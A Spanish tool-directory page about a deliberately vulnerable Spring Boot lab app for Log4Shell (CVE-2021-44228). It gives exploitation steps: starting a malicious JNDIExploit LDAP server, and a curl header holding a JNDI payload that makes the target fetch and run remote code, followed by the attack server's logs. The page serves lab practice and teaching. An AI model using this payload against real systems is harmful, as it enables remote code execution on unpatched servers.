Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-vulnerable-app — Aplicación web Spring Boot vulnerable a Log4Shell (CVE-2021-44228). | Kitploit
Herramientas/GitHubGitHub/prmawyer/log4shell-vulnerable-app
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubprmawyer/log4shell-vulnerable-app

log4shell-vulnerable-app

Aplicación web Spring Boot vulnerable a Log4Shell (CVE-2021-44228).

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Aplicación de muestra vulnerable a Log4Shell (CVE-2021-44228) - editada dos veces

Este repositorio contiene una aplicación web Spring Boot vulnerable a CVE-2021-44228, apodada Log4Shell.

Utiliza Log4j 2.14.1 (a través de spring-boot-starter-log4j2 2.6.1) y el JDK 1.8.0_181.

Ejecutar la aplicación

Ejecútala:

root@kitploit:~
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

Pasos de explotación

Nota: Esto está altamente inspirado en el aviso original de LunaSec. Ejecútalo bajo tu propio riesgo, preferiblemente en una VM en un entorno de sandbox.

:

Actualización (13 de diciembre)
El repositorio JNDIExploit ha sido eliminado de GitHub (presumiblemente, no por GitHub)... Haz clic aquí para descargar la versión almacenada en caché por la Wayback Machine.
  • Usa JNDIExploit para levantar un servidor LDAP malicioso
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • Luego, dispara el exploit usando:
root@kitploit:~
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Observa la salida de JNDIExploit, que muestra que ha enviado una respuesta LDAP maliciosa y ha servido el payload de segunda etapa:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • Para confirmar que la ejecución de código fue exitosa, observa que el archivo /tmp/pwned.txt fue creado en el contenedor que ejecuta la aplicación vulnerable:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

Referencia

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Contribuyentes

@christophetd @rayhan0x01

Descargar herramienta